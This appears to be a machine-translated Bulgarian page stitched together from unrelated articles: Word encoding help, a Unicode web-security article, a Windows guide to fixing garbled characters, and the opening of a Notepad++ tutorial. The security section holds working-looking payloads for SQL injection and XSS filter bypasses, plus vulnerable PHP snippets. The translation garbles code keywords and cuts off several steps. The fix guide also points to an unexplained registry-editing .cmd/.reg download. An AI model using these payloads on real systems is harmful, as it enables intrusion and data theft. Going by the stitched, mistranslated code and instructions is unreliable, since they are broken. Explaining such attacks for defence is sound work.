Когато отваряте файл, йероглифи какво да правите. Вместо файлове "йероглифи" (неразбираеми знаци) на флаш устройство

Когато отворите текстов файл V Майкрософт Уърдили друга програма (например на компютър, чийто език на операционната система е различен от този, на който е написан текстът във файла), кодирането помага на програмата да определи в каква форма текстът трябва да бъде показан на екрана, така че може да се чете.

В тази статия

Обща информация за кодирането на текст

Текстът, който се появява като текст на екрана, всъщност се съхранява като числови стойности в текстов файл. Компютърът превежда числовите стойности във видими знаци. За това се използва стандарт за кодиране.

Кодирането е схема за номериране, според която всеки текстов символв комплекта съответства на определена числова стойност. Кодирането може да съдържа букви, цифри и други знаци. Различните езици често използват различни набори от знаци, така че много от съществуващите кодировки са предназначени да представят наборите от знаци на съответните им езици.

Различни кодировки за различни азбуки

Информацията за кодиране, записана с текстов файл, се използва от компютъра за показване на текста на екрана. Например в кодировката "Кирилица (Windows)" символът "Й" съответства на числовата стойност 201. Когато отворите файл, съдържащ този знак на компютър, който използва кодировката "Кирилица (Windows)", компютърът чете числото 201 и показва знака "Y".

Ако обаче същият файл се отвори на компютър, който използва различно кодиране по подразбиране, символът, съответстващ на числото 201 в това кодиране, ще се покаже на екрана. Например, ако кодирането, използвано на компютъра, е "Западноевропейско (Windows)", символът "Y" от базирания на кирилица изходен текстов файл ще се покаже като "É", тъй като този знак съответства на числото 201 в този кодиране.

Unicode: едно кодиране за различни азбуки

За да избегнете проблеми с кодирането и декодирането на текстови файлове, можете да ги запишете в Unicode. Това кодиране включва повечето знаци от всички езици, които обикновено се използват на съвременните компютри.

Тъй като Word е базиран на Unicode, всички файлове в него автоматично се записват в това кодиране. Unicode файловете могат да се отварят на всеки компютър с включена операционна система английски езикнезависимо от езика на текста. Освен това Unicode файлове, съдържащи знаци, които не се срещат в западноевропейските азбуки (като гръцка, кирилица, арабска или японска), могат да се съхраняват на такъв компютър.

Избор на кодиране при отваряне на файл

Ако в отворете файлатекстът е изкривен или показан като въпросителни или квадрати, възможно е Word да е определил неправилно кодирането. Можете да посочите кодирането, което да се използва за показване (декодиране) на текста.

Отворете раздел Файл.

Щракнете върху бутона Настроики.

Щракнете върху бутона Допълнително.

Преминете към раздела са често срещании поставете отметка в квадратчето Потвърдете преобразуването на файлов формат при отваряне.

Забележка:Ако това квадратче е избрано, Word показва диалогов прозорец Преобразуване на файловевсеки път, когато отворите файл, различен от Word (т.е. файл, който няма разширение DOC, DOT, DOCX, DOCM, DOTX или DOTM). Ако често работите с такива файлове, но обикновено не е необходимо да избирате кодиране, не забравяйте да деактивирате тази опция, така че този диалогов прозорец да не се показва.

Затворете и след това отворете отново файла.

В диалоговия прозорец Преобразуване на файловеИзбери предмет Кодиран текст.

В диалоговия прозорец Преобразуване на файловезадайте превключвателя другии изберете желаното кодиране от списъка.

В района проба

Ако почти целият текст изглежда еднакво (като квадрати или точки), вашият компютър може да няма инсталиран правилния шрифт. В този случай можете да инсталирате допълнителни шрифтове.

За да инсталирате допълнителни шрифтове, направете следното:

Щракнете върху бутона Започнетеи изберете елемента Контролен панел.

Направете едно от следните неща:

В Windows 7

1. От контролния панел изберете елемент Деинсталиране на програми.

   промяна.

В Windows Vista

На контролния панел изберете секцията Деинсталиране на програма.

В списъка с програми щракнете върху Microsoft офисили Microsoft Word, ако е инсталиран отделно от пакета Microsoft Office, и щракнете промяна.

В Windows XP

В контролния панел щракнете върху елемента Инсталиране и премахване на програми.

В списъка Инсталирани програми щракнете върху Microsoft Office или Microsoft Word, ако е инсталиран отделно от Microsoft Office и след това щракнете върху промяна.

В група Промяна на инсталацията на Microsoft OfficeНатисни бутона Добавете или премахнете компонентии след това щракнете върху бутона продължи.

В глава Опции за инсталиранеразширяващ елемент Общи инструменти на Office, и тогава - Многоезична поддръжка.

Изберете шрифта, който искате, щракнете върху стрелката до него и изберете Бягай от моя компютър.

съвет:Когато отваря текстов файл в едно или друго кодиране, Word използва шрифтовете, дефинирани в диалоговия прозорец Опции за уеб документи. (За да изведете диалоговия прозорец Опции за уеб документи, щракнете Бутон Microsoftофис, след което щракнете Опции на Wordи изберете категория Допълнително. В глава са често срещаниНатисни бутона Опции за уеб документи.) Използване на опциите в раздела Шрифтоведиалогов прозорец Опции за уеб документиможете да персонализирате шрифта за всяко кодиране.

Избор на кодиране при запазване на файл

Ако не изберете кодиране, когато записвате файла, ще се използва Unicode. Като общо правило се препоръчва Unicode, тъй като поддържа повечето знаци на повечето езици.

Ако планирате да отворите документа в програма, която не поддържа Unicode, можете да изберете желаното кодиране. Например в операционна системана английски можете да създадете китайски (традиционен) документ, използвайки Unicode. Въпреки това, ако такъв документ ще бъде отворен в програма, която поддържа китайски, но не поддържа Unicode, файлът може да бъде записан в кодирането "Chinese Traditional (Big5)". В резултат на това текстът ще се показва правилно, когато документът се отвори в програма, която поддържа традиционен китайски.

Забележка:Тъй като Unicode е най-пълният стандарт, някои знаци може да не се показват, когато записвате текст в други кодировки. Да предположим, например, че един Unicode документ съдържа както текст на иврит, така и текст на кирилица. Ако запишете файла в кодировка "Кирилица (Windows)", текстът на иврит няма да се показва, а ако го запишете в кодировка "Иврит (Windows)", текстът на кирилица няма да се показва.

Ако изберете стандарт за кодиране, който не поддържа някои от знаците във файла, Word ще ги маркира в червено. Можете да прегледате текста в избраното кодиране, преди да запазите файла.

Запазването на файл като кодиран текст премахва текста, за който е избран шрифтът Symbol, както и кодовете на полета.

Избор на кодиране

Отворете раздел Файл.

В полето Име на файлвъведете име за новия файл.

В полето Тип файлизберете обикновен текст.

Ако се появи диалогов прозорец Microsoft Office Word- проверка за съвместимост, Натисни бутона продължи.

В диалоговия прозорец Преобразуване на файловеизберете подходящото кодиране.

• За да използвате стандартно кодиране, изберете опцията Windows (по подразбиране).

  За да използвате MS-DOS кодиране, изберете опцията MS-DOS.

  За да зададете различно кодиране, задайте бутона за избор другии изберете желания елемент от списъка. В района пробаможете да видите текста и да проверите дали се показва правилно в избраното кодиране.

  Забележка:Можете да преоразмерите диалоговия прозорец, за да направите областта за показване на документа по-голяма Преобразуване на файлове.

Ако видите съобщението „Маркираният в червено текст не може да бъде съхранен правилно в избраното кодиране“, можете да изберете различно кодиране или да поставите отметка в квадратчето Разрешаване на заместване на знаци.

Ако заместването на знаци е разрешено, знаците, които не могат да бъдат показани, ще бъдат заменени с най-близките еквивалентни знаци в избраното кодиране. Например, многоточието се заменя с три точки, а ъгловите кавички се заменят с прави.

Ако избраното кодиране няма еквивалентни знаци за знаци, маркирани в червено, те ще бъдат съхранени като извън контекста (например като въпросителни знаци).

Ако документът ще бъде отворен в програма, която не обвива текста от един ред в друг, можете да включите твърди прекъсвания на редове в документа. За да направите това, поставете отметка в квадратчето Вмъкване на нови редовеи посочете желания символ за прекъсване (връщане на каретка (CR), подаване на ред (LF) или и двете) в полето Крайни линии.

Намиране на налични кодировки в Word

Word разпознава няколко кодировки и поддържа кодировки, които са включени в системния софтуер.

По-долу е даден списък със скриптове и свързаните с тях кодирания (кодови страници).

Индийските езици изискват поддръжка на операционна система и използване на подходящи OpenType шрифтове.

Предлага се само ограничена поддръжка за непалски, асамски, бенгалски, гуджарати, малаялам и ория.

Мисля, че сте попадали на експлойти, които са класифицирани като Unicode повече от веднъж, търсили сте правилното кодиране за показване на страницата, радвали сте се на следващите кракозябри тук и там. Да, никога не знаеш какво още! Ако искате да знаете кой започна цялата тази бъркотия и продължава да я прави до ден днешен, затегнете коланите си и четете.

Както се казва, "инициативата е наказуема" и както винаги за всичко са виновни американците.

И беше така. В зората на разцвета на компютърната индустрия и разпространението на Интернет имаше нужда от универсална система за представяне на символи. И през 60-те години на миналия век се появи ASCII - "Американски стандартен код за обмен на информация" (Американски стандартен код за обмен на информация), познато 7-битово кодиране на знаци. Последният осми неизползван бит беше оставен като контролен бит за персонализиране на ASCII таблицата, за да отговаря на нуждите на всеки компютърен клиент в определен регион. Такъв бит позволява ASCII таблицата да бъде разширена, за да използва свои собствени знаци за всеки език. Компютрите бяха доставени в много страни, където вече използваха собствена, модифицирана маса. Но по-късно тази функция се превърна в главоболие, тъй като обменът на данни между компютрите стана доста проблематичен. Новите 8-битови кодови страници бяха несъвместими една с друга - един и същи код можеше да означава няколко различни знака. За да се реши този проблем, ISO ("Международна организация по стандартизация", Международна организация по стандартизация) предложи нова маса, а именно "ISO 8859".

По-късно този стандарт е преименуван на UCS ("Universal Character Set", универсален набор от знаци). Въпреки това, по времето, когато UCS беше пуснат за първи път, Unicode беше пристигнал. Но тъй като целите и задачите на двата стандарта съвпадат, беше решено да се обединят усилията. Е, Unicode се е заел с трудната задача да даде на всеки знак уникално обозначение. На този моментпоследната версия на Unicode е 5.2.

Искам да ви предупредя - всъщност историята с кодировките е много мътна. Различните източници предоставят различни факти, така че не се вкопчвайте в едно нещо, просто бъдете наясно как се е формирало всичко и следвайте съвременните стандарти. Ние, надявам се, не сме историци.

Интензивен курс по unicode

Преди да се задълбоча в темата, бих искал да изясня какво представлява Unicode технически термини. цели този стандартвече знаем, остава само да закърпим материалите.

И така, какво е Unicode? Казано по-просто, това е начин да представите всеки знак под формата на специфичен код за всички езици по света. последна версияСтандартът съдържа около 1 100 000 кода, които заемат пространството от U+0000 до U+10FFFF. Но внимавайте тук! Unicode стриктно дефинира какво е код на символ и как този код ще бъде представен в паметта. Кодовете на символи (да речем 0041 за знака "A") нямат никакво значение, но има логика за представяне на тези кодове като байтове, кодировките правят това. Консорциумът Unicode предлага следните видовекодировки, наречени UTF (Unicode Transformation Formats). И ето ги:

• UTF-7: Това кодиране не се препоръчва от съображения за сигурност и съвместимост. Описано в RFC 2152. Не е част от Unicode, но е въведено от този консорциум.
• UTF-8: Най-често срещаното кодиране в мрежата. Това е променлива с ширина от 1 до 4 байта. Обратно съвместим с протоколи и програми, използващи ASCII. Заема диапазона U+0000 до U+007F.
• UTF-16: Използва променлива ширина от 2 до 4 байта. Най-честата употреба е 2 байта. UCS-2 е същото кодиране, само с фиксирана ширина от 2 байта и ограничено до BMP ограничения.
• UTF-32: Използва фиксирана ширина от 4 байта, т.е. 32 бита. Използват се обаче само 21 бита, останалите 11 са запълнени с нули. Въпреки че това кодиране е тромаво по отношение на пространството, то се счита за най-ефективно по отношение на скоростта поради 32-битовото адресиране в съвременните компютри.

Най-близкият еквивалент на UTF-32 е кодирането UCS-4, но днес се използва по-рядко.

Въпреки факта, че UTF-8 и UTF-32 могат да представляват малко повече от два милиарда знака, беше решено да се ограничи до милион и опашка - в името на съвместимостта с UTF-16. Цялото кодово пространство е групирано в 17 равнини, всяка с 65536 символа. Най-често използваните символи са разположени в нулевата базова равнина. Наричан BMP - Basic MultiPlane.
Поток от данни в кодировките UTF-16 и UTF-32 може да бъде представен по два начина - малък ред и малък ред, наречени съответно UTF-16LE/UTF-32LE, UTF16BE/UTF-32BE. Както се досещате, LE е с малък ред, а BE е с голям. Но човек трябва по някакъв начин да може да прави разлика между тези поръчки. За да направите това, използвайте знака за ред на байтове U + FEFF, в английската версия - BOM, "Byte Order Mask". Тази BOM може да се появи и в UTF-8, но не означава нищо там.

В името на обратната съвместимост Unicode трябваше да побере знаци от съществуващи кодировки. Но тук възниква друг проблем - има много варианти на еднакви знаци, които трябва да бъдат обработени по някакъв начин. Следователно е необходима така наречената "нормализация", след която вече е възможно да се сравнят два низа. Общо има 4 форми на нормализация:

• Форма за нормализиране D (NFD): канонично разлагане.
• Форма за нормализиране C (NFC): канонична декомпозиция + канонична композиция.
• Форма за нормализиране KD (NFKD): съвместимо разлагане.
• Форма за нормализиране KC (NFKC): съвместимо разлагане + каноничен състав.

Сега повече за тези странни думи.

Unicode дефинира два вида равенство на низове - канонично и съвместимо.

Първият включва разлагане на сложен символ на няколко отделни фигури, които като цяло образуват оригиналния символ. Второто равенство търси най-близкия съответстващ знак. А композицията е обединението на символи от различни части, разлагането е обратното действие. Като цяло, погледнете снимката, всичко ще си дойде на мястото.

От съображения за сигурност нормализирането трябва да се извърши, преди низът да бъде изпратен за проверка от каквито и да е филтри. След тази операция размерът на текста може да се промени, което може да има отрицателни последици, но повече за това по-късно.

От гледна точка на теория, това е всичко, още не съм разказал много, но се надявам да не съм пропуснал нещо важно. Unicode е невъобразимо обширен, сложен, дебели книги се публикуват върху него и е много трудно да се съкратят, разбираемо и напълно да се обяснят основите на такъв тромав стандарт. Във всеки случай, за по-задълбочено разбиране, трябва да преминете през страничните връзки. Така че, когато картината с Unicode стане повече или по-малко ясна, можем да продължим.

зрителна измама

Със сигурност сте чували за IP/ARP/DNS spoofing и имате добра представа какво представлява. Но има и така нареченото „визуално подправяне“ – това е същият стар метод, който фишърите активно използват, за да измамят жертвите. В такива случаи се използва използването на подобни букви, като "o" и "0", "5" и "s". Това е най-често срещаният и най-простият вариант и е по-лесен за забелязване. Пример за това е фишинг атаката на PayPal от 2000 г., която дори се споменава на страниците на www.unicode.org. Това обаче няма голямо значение за нашата тема за Unicode.

За по-напредналите момчета на хоризонта се появи Unicode или по-скоро IDN, което е съкращение от „Интернационализирани имена на домейни“ (Internationalized Domain Names). IDN позволява използването на знаци от националната азбука в имената на домейни. Регистраторите на имена на домейни го позиционират като удобно нещо, казват те, набиране Име на домейнна собствения си език! Това удобство обаче е много съмнително. Е, добре, маркетингът не е нашата тема. Но представете си какво пространство е това за фишъри, SEO специалисти, киберсквотери и други зли духове. Говоря за ефект, наречен IDN spoofing. Тази атака принадлежи към категорията на визуалния спуфинг, в англоезичната литература се нарича още "хомографска атака", тоест атаки с помощта на хомографи (думи, които са еднакви по правопис).

Да, когато пишете букви, никой няма да направи грешка и няма да напише умишлено фалшив домейн. Но през повечето време потребителите кликват върху връзки. Ако искате да се убедите в ефективността и простотата на атаката, погледнете снимката.

IDNA2003 беше изобретен като вид панацея, но още тази година, 2010 г., IDNA2008 влезе в сила. Новият протокол трябваше да реши много от проблемите на младия IDNA2003, но въведе нови възможности за измамни атаки. Отново възникват проблеми със съвместимостта - в някои случаи един и същ адрес в различни браузъри може да доведе до различни сървъри. Факт е, че Punycode може да се конвертира по различни начини различни браузъри- всичко ще зависи от това какви стандартни спецификации се поддържат.
Проблемът със зрителната измама не свършва дотук. Unicode също идва в услуга на спамерите. Говорим за филтри за нежелана поща - разпространителите на нежелана поща пускат оригиналните букви през Unicode obfuscator, който търси подобни знаци от различни национални азбуки, използвайки така наречения UC-Simlist („Unicode Similarity List“, списък с подобни Unicode знаци). И това е! Антиспам филтърът се проваля и вече не може да разпознае нещо смислено в такава бъркотия от знаци, но потребителят е напълно способен да прочете текста. Не отричам, че е намерено решение за подобен проблем, но спамърите са начело. Е, и още нещо от същата поредица от атаки. Сигурни ли сте, че отваряте текстов файл, а не се занимавате с двоичен?

На фигурата, както можете да видите, имаме файл, наречен evilexe. текст. Но е фалшив! Файлът всъщност се нарича eviltxt.exe. Питате, какъв е този боклук в скоби? И това, U + 202E или RIGHT-TO-LEFT OVERRIDE, така нареченият Bidi (от думата двупосочен) е Unicode алгоритъм за поддържане на езици като арабски, иврит и други. Последният в края на краищата пише отдясно наляво. След като вмъкнем Unicode знака RLO, ще видим всичко, което идва след RLO в обратен ред. Като пример този методот реалния живот, мога да цитирам спуфинг атака в Mozilla Firfox - cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3376 .

Байпас на филтъра - Стъпка #1

Вече е известно днес, че UTF-8 не-кратките форми не могат да бъдат обработени, тъй като това е потенциална уязвимост. Разработчиците на PHP обаче не могат да бъдат аргументирани с това. Да видим каква е тази грешка. Може би си спомняте за грешното филтриране и utf8_decode(). Тук ще разгледаме този случай по-подробно. Така че имаме този PHP код:

// ... етап 1
$id = mysql_real_escape_string($_GET["id"]);
// ... стъпка 2
$id = utf8_decode($id);
// ... стъпка 3
mysql_query("ИЗБЕРЕТЕ "име" ОТ "deadbeef"
WHERE "id"="$id"");

На пръв поглед тук всичко е точно. Някак, но не съвсем - тук има SQL инжекция. Нека си представим, че сме предали следния низ:

/index.php?id=%c0%a7 ИЛИ 1=1/*

На първата стъпка линията не съдържа нищо, което би могло да предвещава проблеми. Но втората стъпка е ключова, първите два знака от низа се преобразуват в апостроф. Е, на третия вече шумолете из базата данни с мощ и основно. И така, какво се случи във втората стъпка, защо символите изведнъж се промениха? Нека се опитаме да го разберем, прочетете внимателно.

Ако конвертирате %c0 и %a7 в техните двоични стойности, получавате съответно 11000000 и 10100111. Апострофът има двоична стойност 00100111. Сега погледнете UTF-8 таблицата за кодиране.

Водещите нули и единици отчитат дължината на знака и собствеността върху байтовете. Засега нашият апостроф се побира в един байт, но искаме да го увеличим до два (поне, но може и повече), тоест да приеме формата като във втория ред.

След това трябва да вземете такъв първи октет, така че първите три бита да са 110, което казва на декодера, че низът е по-широк от 1 байт. И с втория октет не е по-трудно - ще заменим първите две нули с 1 и 0. Воала! Имаме 11000000 10100111, което е %c0%a7.

Може би тази уязвимост не се среща на всяка стъпка, но трябва да се има предвид, че ако функциите са разположени в този ред, тогава нито addslashes(), нито mysql_real_escape_string(), нито magic_quotes_qpc ще помогнат. И така можете да скриете не само апострофите, но и много други знаци. Особено след като не само PHP обработва UTF-8 низовете неправилно. Като се имат предвид горните фактори, обхватът на атака е значително разширен.

Байпас на филтъра - Етап #2

Уязвимостта на този тип се крие в напълно законното маскиране на отровен низ под прикритието на различно кодиране. Вижте следния код:

/**
* UTF-7 XSS PoC
*/
header("Content-Type: text/html;
charset=UTF-7");
$str = "";
$str = mb_convert_encoding($str,
"UTF-7");
ехо htmlentities($str);

Всъщност тук се случва следното - първият ред изпраща заглавка към браузъра със съобщение от какво кодиране се нуждаем. Следващата двойка просто преобразува низа в това:

ADw-скрипт+AD4-предупреждение("UTF-7 XSS")+ADsAPA-/скрипт+AD4

На последния - нещо като филтър. Филтърът може да бъде по-сложен, но е достатъчен, за да покажем успешно преминаване за повечето примитивни случаи. От това следва, че не трябва да позволявате на потребителя да контролира кодировките, защото дори такъв код е потенциална уязвимост.

Ако се съмнявате, дайте грешка и спрете да работите, а за да избегнете проблеми, е правилно да принудите изхода на данните към UTF-8 кодиране. От практиката е известен случай на атака срещу Google, при която хакер успява да извърши XSS атака чрез ръчна промяна на кодирането на UTF-7.

Първоначалният източник на атака срещу Google чрез този метод е sla.ckers.org/forum/read.php?3,3109.

Байпас на филтъра - Стъпка #3

Unicode предупреждава: Прекомерната употреба на символи вреди на вашата сигурност. Нека поговорим за такъв ефект като "изяждане на символи". Причината за успешна атака може да бъде декодер, който не работи правилно: като например в PHP. Стандартът пише, че ако по време на преобразуването се срещне ляв знак (неправилно оформен), тогава е препоръчително да замените съмнителните знаци с въпросителни знаци, интервал с U+FFFD, да спрете анализирането и т.н., но не изтривайте следващите знаци . Ако все още трябва да изтриете знак, тогава трябва да го направите внимателно.

Грешката е, че PHP ще дъвче грешния знак UTF-8 заедно със следващия. И това вече може да доведе до заобикаляне на филтъра с последващо изпълнение на JavaScript код или до SQL инжекция.

В оригиналното съобщение за уязвимостта, в блога на хакера Едуардо Вела, известен още като sirdarckcat, има много добър пример и ние ще го разгледаме, просто го модифицирайте малко. Според сценария потребителят може да вмъкне снимки в своя профил, има следния код:

// ... много код, филтриране ...
$name = $_GET["име"];
$link = $_GET["link"];
$изображение = " src="http://$link" />";
ехо utf8_decode($image);
И сега изпращаме следната заявка:
/?name=xxx%f6&link=%20
src=javascript:onerror=alert(/
хсс/)//

След всички трансформации PHP ще ни върне това:

Какво стана? Променливата $name получи невалиден UTF-8 знак 0xF6, който, след като беше преобразуван в utf8_decode(), изяде 2 следващи знака, включително затварящата кавичка. http:// мъничето беше игнорирано от браузъра и следният JavaScript код беше изпълнен успешно. Тествах тази атака в Opera, но нищо не ни пречи да я направим универсална, това е просто добър пример как защитата може да бъде заобиколена в някои случаи.

От тази поредица от атаки, но без странното поведение на PHP функциите, можем да дадем още един пример за заобикаляне на филтри. Нека си представим, че WAF/IPS не пропуска редове от черния списък, но последваща обработка на редове от декодера премахва символи, чужди на ASCII обхвата. Тогава следният код ще влезе свободно в декодера:

предупреждение\uFEFFt("XSS")

И вече без \uFEFF ще бъде там, където нападателят би искал да го види. Можете да коригирате този проблем просто като обмислите логиката на обработка на низове - както винаги, филтърът трябва да работи с данните, които са на последния етап от обработката му. Между другото, ако си спомняте, тогава \uFEFF е спецификацията, за която вече писах. FireFox беше засегнат от тази уязвимост - mozilla.org/security/announce/2008/mfsa2008-43.html

Байпас на филтъра - Етап #4

Можем да кажем, че типът атака, която ще бъде обсъдена сега, е визуален спуфинг, атака за всички видове IDS / IPS, WAF и други филтри. Говоря за така наречения Unicode алгоритъм за "най-добро съпоставяне". Този метод за „най-добро прилягане“ е измислен за случаите, когато липсва конкретен знак при преобразуване от едно кодиране в друго, но трябва да се вмъкне нещо. Тогава се търси такава, която визуално да прилича на желаната.

Нека този алгоритъм е изобретен от Unicode, но това е просто още едно временно решение, което ще живее за неопределено време. Всичко зависи от мащаба и скоростта на прехода към Unicode. Самият стандарт препоръчва да се прибягва до картографиране с най-добро съответствие само в краен случай. Поведението на трансформацията не може да бъде строго регламентирано и обобщено по никакъв начин, тъй като има твърде много различни вариации на сходство дори за един знак - всичко зависи от знака, от кодировките.

Да кажем, че символът за безкрайност може да се преобразува в осмица. Те изглеждат подобни, но имат напълно различни цели. Или друг пример - знакът U + 2032 се преобразува в цитат. Мисля, че разбирате какво означава.

Специалистът по информационна сигурност Крис Вебер експериментира по тази тема - как се справят социалните мрежи с филтрите и най-подходящия алгоритъм за показване? В сайта си той описва пример за добро, но недостатъчно филтриране на една социална мрежа. В профила можете да качите вашите стилове, които бяха внимателно проверени.

Разработчиците са се погрижили да не пропуснат този ред: ?moz?binding: url(http://nottrusted.com/gotcha.xml#xss)
Въпреки това, Крис успя да заобиколи тази защита, като замени първия знак с минус, чийто код е U+2212. След като най-подходящият алгоритъм проработи, минусът беше заменен със знак с код U+002D, знак, който позволи на CSS стила да работи, като по този начин отвори възможности за активна XSS атака. Струва си да избягвате всяка магия, но има много от нея. До последния момент е невъзможно да се предвиди до какво ще доведе прилагането на този алгоритъм. В най-добрия случай може да има загуба на знаци, в най-лошия случай изпълнение на JavaScript код, достъп до произволни файлове, SQL инжекция.

Препълване на буфера

Както вече писах, трябва да внимавате с нормализацията поради аномално свиване и разширяване на струната. Второто последствие често води до препълване на буфера. Програмистите неправилно сравняват дължините на низове, забравяйки за характеристиките на Unicode. По принцип игнорирането или неразбирането на следните факти води до грешка:

1. Низовете могат да се разширяват при промяна на регистъра - от горен към малък или обратно.
2. Формата за нормализиране на NFC не винаги е „колективна“, някои символи могат да бъдат анализирани.
3. При преобразуване на знаци от един в друг, текстът може да се увеличи отново. Тоест колко се разширява низът зависи от самите данни и кодирането.

По принцип, ако знаете какво е препълване на буфера, тогава всичко е както винаги. Почти :). Просто, ако говорим за Unicode низове, тогава знаците най-често ще бъдат подплатени с нули. За пример ще дам три реда.

Редовна линия:

В ASCII кодиране:

В Unicode кодиране:

\x41\x00\x42\x00\x43\x00

Няма да има нулеви байтове, когато изходните низове са извън диапазона на ASCII низовете, тъй като те заемат пълния диапазон. Както знаете, нулевите байтове са пречка за успешната работа на shellcode. Ето защо дълго време се смяташе, че Unicode атаките са невъзможни. Този мит обаче беше разрушен от Крис Анли, той излезе с така наречения "венециански метод", който ви позволява да замените nullbytes с други знаци. Но тази тема заслужава отделна статия, а вече има доста добри публикации - просто потърсете в Google "venetian exploit". Можете също така да прегледате статия 45 от специалния брой на списанието Hacker - "Unicode-Buffer Overflows", там има добра информация за писането на Unicode shellcode.

Други радости

Да, това не е краят на уязвимостите, свързани с Unicode. Описах само онези, които попадат в основните, добре познати класификации. Има и други проблеми със сигурността, от досадни грешки до истински пробиви. Това могат да бъдат атаки от визуален характер, например, ако системата за регистрация неправилно обработва данните за влизане на потребителя, тогава можете да създадете акаунт от знаци, които са визуално неразличими от името на жертвата, като по този начин улеснявате фишинг или атаки чрез социално инженерство. И може би дори по-лошо - системата за авторизация (да не се бърка с удостоверяване) дава права с повишени привилегии, без да прави разлика между набора от символи в логина на нападателя и жертвата.

Ако слезете на ниво приложения или операционни системи, тогава грешките се проявяват в неправилно изградени алгоритми, свързани с преобразуването - лоша нормализация, прекалено дълъг UTF-8, изтриване и изяждане на знаци, неправилно преобразуване на знаци и др. Всичко това води до най-широк набор от атаки – от XSS до дистанционно изпълнение на код.

Общо взето по отношение на фантазията Unicode не те ограничава по никакъв начин, а напротив само те подкрепя. Много от горепосочените атаки често се комбинират, комбинирайки байпаси на филтри с атака срещу конкретна цел. Комбинирането на бизнеса с удоволствието, така да се каже. Освен това стандартът не стои неподвижен и кой знае до какво ще доведат новите разширения, тъй като имаше такива, които по-късно бяха напълно изключени поради проблеми със сигурността.

щастлив край?!

Така че, както можете да си представите, проблемите с Unicode все още са проблем номер едно и причина за всякакви атаки. И има само един корен на злото - неразбирането или игнорирането на стандарта. Разбира се, дори и най-известните доставчици грешат с това, но това не трябва да се отпуска. Напротив, струва си да се замислим за мащаба на проблема. Вече успяхте да се убедите, че Unicode е доста коварен и очаквайте уловка, ако се откажете и не погледнете стандарта навреме. Между другото, стандартът се актуализира редовно и затова не трябва да разчитате на древни книги или статии - остарялата информация е по-лоша от липсата й. Но се надявам, че тази статия не ви е оставила безразлични към проблема.

Punycode - скелетът на съвместимостта

DNS не позволява използването на други символи, различни от латински, цифри и тирета в имената на домейни; за DNS се използва "скъсена" ASCII таблица.

Следователно, в името на обратната съвместимост, такъв многоезичен Unicode домейн трябва да бъде преобразуван в стария формат. Тази задача се поема от браузъра на потребителя. След трансформации домейнът се превръща в набор от знаци с префикса "xn--" или, както се нарича още, "Punycode". Например домейнът „hacker.ru“, след като е преобразуван в Punycode, изглежда така: „xn--80akozv.ru“. Прочетете повече за Punycode в RFC 3492.

инфо

IDNA - IDN в приложенията (IDN в приложенията) е протокол, който решава много проблеми, като позволява използването на многоезични имена на домейни в приложенията. Изобретен е от IETF, в момента има само RFC на старата версия на IDNA2003 - RFC 3490. Новият стандарт е несъвместим с предишния.

Връзки

• unicode.org е официалният уебсайт на консорциума Unicode. Всички отговори по болна тема можете да намерите тук.
• macchiato.com/main - много полезни онлайн инструменти за работа с Unicode.
• fiddler2.com/fiddler2 - Fiddler, мощен, разширяем HTTP прокси.
• websecuritytool.codeplex.com - плъгин Fiddler за пасивен анализ на HTTP трафик.
• lookout.net - Сайтът на Крис Уебър за Unicode, уеб и софтуерен одит.
• sirdarckcat.blogspot.com/2009/10/couple-of-unicodeissueson-php-and.html - публикация в блог на sirdarckat за PHP и Unicode.
• googleblog.blogspot.com/2010/01/unicode-nearing-50of-web.html – Публикация в блог на Google за общата тенденция на нарастване на използването на Unicode.

КракозябриКоя е интересна дума? Тази дума обикновено се използва от руски потребители за обозначаване на неправилно / неправилно показване (кодиране) на знаци в програмите или самата операционна система.
Защо това се случва? Няма да намерите нито един отговор. Това може да се дължи на триковете на нашите "любими" вируси, може да се дължи на повреда на операционната система Windows (например, прекъсна електричество и компютърът се изключи), може би програмата създаде конфликт с друга или операционна система и всичко "излетя". Като цяло причините могат да бъдат много, а най-интересната е „Просто взе и се счупи така“.
Четем статията и откриваме как да коригираме проблема с кодирането в програмите и операционната система Windows, тъй като се случи.

За тези, които все още не разбират какво имам предвид, ето няколко:

Между другото, аз също попаднах в тази ситуация веднъж и все още има файл на работния плот, който ми помогна да се справя с нея. Затова реших да напиша тази статия.

Няколко "неща" отговарят за показването на кодирането (шрифта) в Windows - това са езикът, регистърът и файловете на самата ОС. Сега ще ги проверим поотделно и точка по точка.

Как да премахнете и коригирате krakozyabry вместо руски (руски букви) в програма или Windows.

1. Проверяваме инсталирания език за програми, които не поддържат Unicode. Може би се е изгубил от теб.

И така, нека да вървим по пътя: Контролен панел - Регионални и езикови опции - раздел Разширени
Там гледаме езикът да е руски.

6. Последната точка, в която ви давам файл, който ми помогна да оправя всичко веднъж и затова го оставих за спомен. Ето и архива:

Вътре има два файла: krakozbroff.cmd и krakozbroff.reg

Принципът им е един и същ - да коригират йероглифи, квадратчета, въпроси или удивителни знаци в програмите и Windows OS с всички средства (общ кракозябри). Използвах първия и ми свърши работа.

И накрая, няколко съвета:
1) Ако работите с системния регистър, не забравяйте да направите резервно копие (резервно копие), в случай че нещо се обърка.
2) Препоръчително е да поставите отметка на първия елемент след всеки елемент.

Това е всичко. Сега знаете как да коригирате премахване / коригиране на Krakozyabry (квадрати, йероглифи, удивителни и въпросителни знаци) в програма или Windows.

Вероятно всеки потребител на компютър се е сблъсквал с подобен проблем: отваряте уеб страница или документ на Microsoft Word - и вместо текст виждате йероглифи (различни "крякозабра", непознати букви, цифри и т.н. (както на снимката вляво). ...)).

Е, ако този документ (с йероглифи) не е особено важен за вас, но ако трябва да го прочетете?! Доста често ми задават подобни въпроси и молби за помощ при откриването на такива текстове. В тази кратка статия искам да разгледам най-популярните причини за появата на йероглифи (разбира се, и да ги премахна).

Йероглифи в текстови файлове (.txt)

Най-популярният въпрос. Факт е, че текстов файл (обикновено във формат txt, но те също са формати: php, css, информация и т.н.) може да бъде записан в различни кодировки.

Кодиране- това е набор от знаци, необходими, за да се осигури пълно писане на текст на определена азбука (включително цифри и специални знаци). Повече подробности за това тук: https://ru.wikipedia.org/wiki/CharacterSet

Най-често се случва едно нещо: документът просто се отваря в грешно кодиране, което причинява объркване и вместо кода на някои знаци ще бъдат извикани други. На екрана се появяват различни странни символи (виж Фиг. 1)...

Ориз. 1. Notepad - проблем с кодирането

Как да се справим с него?

Според мен най-добрият вариант е да инсталирате усъвършенстван бележник, като Notepad++ или Bred 3. Нека разгледаме по-подробно всеки от тях.

Notepad++

Официален сайт: https://notepad-plus-plus.org/

